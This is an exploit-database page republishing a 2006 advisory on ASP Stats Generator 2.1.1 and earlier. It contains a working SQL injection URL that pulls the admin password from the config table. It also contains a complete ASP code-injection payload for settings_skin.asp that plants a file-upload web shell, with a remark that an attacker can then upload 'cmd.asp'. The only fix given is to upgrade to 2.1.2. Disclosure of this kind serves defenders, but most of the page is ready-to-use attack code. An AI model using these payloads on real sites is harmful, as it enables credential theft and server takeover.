Lucene search
K

ASP Stats Generator <= 2.1.1 - SQL Injection Vulnerabilities

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 19 Views

ASP Stats Generator <= 2.1.1 - SQL Injection & Code Executio

Code

                                                /*------------------------------------------------
		IHS Public advisory 
-------------------------------------------------*/

ASP Stats Generator SQL-ASP injection - Code Excution 
ASP Stats Generator is a powerful website counter, completely written in ASP programming language.
The application is able to track web site activity generating graphical and statistical reports.
It combines a server side class with a javascript system to get a wide range of visitors&#39; details.
http://www.weppos.com

Credit:
The information has been provided by Hamid Ebadi (IHS : IRAN HOMELAND SECURITY)
The original article can be found at: 

http://www.IHSteam.com
http://www.hamid.ir/security/


Vulnerable Systems:
ASP Stats Generator 2.1.1 - 2.1 and below

SQL injection :

Example :
The following URL can be used to trigger an SQL injection vulnerability in the pages.asp:
http://localhost/myasg/pages.asp?order=&#39;&mese=1

Microsoft JET Database Engine error &#39;80040e14&#39; 
Syntax error in string in query expression &#39;SUM(Visits) &#39;&#39;. 
/myasg/pages.asp, line 236 

Exploit :

http://localhost/asg/pages.asp?order=ASC union select sito_psw,1,1 from tblst_config&mese=1


ASP Code Injection  :
Input passed to the strAsgSknPageBgColour (and ...) in &#34;settings_skin.asp&#34;  isn&#39;t properly sanitised before being stored in the &#34;inc_skin_file.asp&#34;.
This can be exploited to inject  arbitrary ASP code.

Exploit :

#F9F9F9&#34; : dim path,hstr, mpath, content, filename: mpath=replace(Request.ServerVariables(&#34;PATH_TRANSLATED&#34;),&#34;/&#34;,&#34;\&#34;): content = request(&#34;content&#34;): filename = request(&#34;filename&#34;): on error resume next: Dim objFSO,f: Set objFSO = Server.CreateObject (&#34;Scripting.FileSystemObject&#34;): if not filename = &#34;&#34; then: response.Write( &#34;Have File.&#60;BR&#62;&#34; ): path = objFSO.GetParentFolderName( mpath ): path = filename: end if: if not content=&#34;&#34; then: response.Write( &#34;Contented.&#60;BR&#62;&#34; ): set f = objFSO.CreateTextFile( path ): response.Write( err.Description & &#34;&#60;BR&#62;&#34; ): f.Write( content ): response.Write( err.Description & &#34;&#60;BR&#62;&#34; ): f.close: end if	%&#62;&#60;%=filename%&#62;&#60;BR&#62;&#60;%=path%&#62;&#60;BR&#62;&#60;%= Request(&#34;path&#34;) %&#62;&#60;BR&#62;&#60;FORM ID=&#34;SForm&#34; method=&#34;post&#34;&#62;&#60;TABLE width=&#34;300&#34; border=&#34;1&#34; ID=&#34;Table1&#34;&#62;&#60;TR&#62;&#60;TD&#62;&#60;P align=&#34;center&#34;&#62;&#60;STRONG&#62;&#60;FONT size=&#34;6&#34;&#62;Upload File&#60;/FONT&#62;&#60;/STRONG&#62;&#60;/P&#62;&#60;/TD&#62;&#60;/TR&#62;&#60;TR&#62;&#60;TD&#62;&#60;TEXTAREA name=&#34;content&#34; rows=&#34;15&#34; cols=&#34;46&#34; &#62;&#60;%=content%&#62;&#60;/TEXTAREA&#62;&#60;/TD&#62;&#60;/TR&#62;&#60;TR&#62;&#60;TD&#62;&#60;P align=&#34;center&#34;&#62;File Name:&#60;%=strAsgMapPathTo%&#62;&#60;INPUT type=&#34;text&#34; name=&#34;filename&#34; value=&#34;&#60;%=filename%&#62;&#34; &#62;&#60;/P&#62;&#60;P align=&#34;center&#34;&#62;&#60;INPUT type=&#34;submit&#34; value=&#34;Upload&#34; ID=&#34;Submit1&#34; NAME=&#34;Submit1&#34;&#62;&#60;/P&#62;&#60;/TD&#62;&#60;/TR&#62;&#60;/TABLE&#62;&#60;/FORM&#62;&#60;% objFSO = Nothing: on error goto 0: hstr = &#34;
[m.r.roohian]
attacker can upload  &#34;cmd.asp&#34; with this uploader and ...


Solution:
use ASP Stats Generator v2.1.2 (18/06/2006 )

# milw0rm.com [2006-06-19]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation